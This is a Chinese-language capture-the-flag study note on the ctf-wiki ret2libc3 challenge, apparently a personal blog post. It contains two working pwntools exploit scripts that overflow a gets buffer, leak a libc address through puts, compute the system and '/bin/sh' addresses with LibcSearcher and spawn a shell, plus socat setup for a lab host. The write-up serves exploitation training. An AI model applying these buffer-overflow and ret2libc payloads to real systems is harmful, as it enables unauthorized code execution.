ctfwiki
拿到程序checksec查看:没什么问题
源码
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [sp+1Ch] [bp-64h]@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("No surprise anymore, system disappeard QQ."); printf("Can you find it !?"); gets((char *)&v4); return 0; }
查找可以用的gadgets,
先看有没有‘/bin/sh’:
事实证明,没有
看看有没有system,我们gdb打开,在main函数处下断,然后 print system
看出system的地址为0xf7e09890
没有'/bin/sh',我就给他输入一个,所以要找一下gets的地址
可看出gets的地址为0xf7e337c0,接下来再找一个buf来储存我们输入的‘/bin/sh’
再找一个ebx
接下来构造payload,用pattren计算出与ebp的距离为108
payload = 'a'*112+p32(gets_addr)+p32(pop_ebx)+p32(buf2_addr)+p32(system_addr)+'bbbb'+p32(buf2_addr)
send(payload)
send('/bin/sh')
脚本如下:
from pwn import *
sh = process('./ret2libc3')
sysdaar = 0xf7e09890
getsaddr = 0xf7e337c0
pop_ebx_addr = 0x0804841d
buf2addr = 0x804a080
payload = 'A'*112 + p32(getsaddr) + p32(pop_ebx_addr) + p32(buf2addr) + p32(sysdaar) + 'b'*4 + p32(buf2addr)
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
这个例子和上面一样,区别就是没有system。system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system函数的地址,此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。
在这里我遇到了坑学了半天之后,总是泄露不了,问了大佬之后,大佬说pwn还是要ubantu,推荐版本16.04,所以后面的题目都搭在了ubantu12.04(反正越老越好嘛,其实是懒,有现成的12.04)里,之前都是在kali里面搞的,表示怕啦!!!
搭建的方法为:
创建一个.sh的文件,里面内容为:
socat tcp -l :端口号,fork exec:/home/user/pwn(路径),reuseaddr
运行这个sh文件就好,可以nc测一下有没有搭好(ubantu ps -e 查看进程 sudo kill PID 杀死进程)
这里还用到了libcSeacher,具体安装用法https://github.com/lieanu/LibcSearcher
libcseacher("函数名",已经泄露的地址) dump('system')计算偏移量
Lib-database下载下来后,先运行 ./get 获得数据库信息,需要添加本地用 ./add user/libc/libc.so(路径)
---------------------------------------------------------------------------------------------------------------------------------
回到例题
前面的步骤都与上个例子相同,查看got表信息:
所以我们决定用泄露__libc_strart_main的地址,来判定libc的版本
脚本为:
from pwn import *
from LibcSearcher import LibcSearcher
#sh = process('./ret2libc3')
sh = remote('192.168.1.101', 5557)
ret2libc3 = ELF('./ret2libc3')
#泄露地址
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print "leak libc_start_main_got addr and return to main again"
payload = flat(['A' * 112, puts_plt, main, libc_start_main_got])#调用puts函数后,ret到main函数,用main函数里面的gets来获取libc_start的地址
sh.sendlineafter('Can you find it !?', payload)
利用
print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
print libc_start_main_addr#输出泄露的地址
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
print libc_start_main_addr
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')#算出基地址
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')
print "get shell"
payload = flat(['A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
睡啦睡啦,都怪白天偷懒,困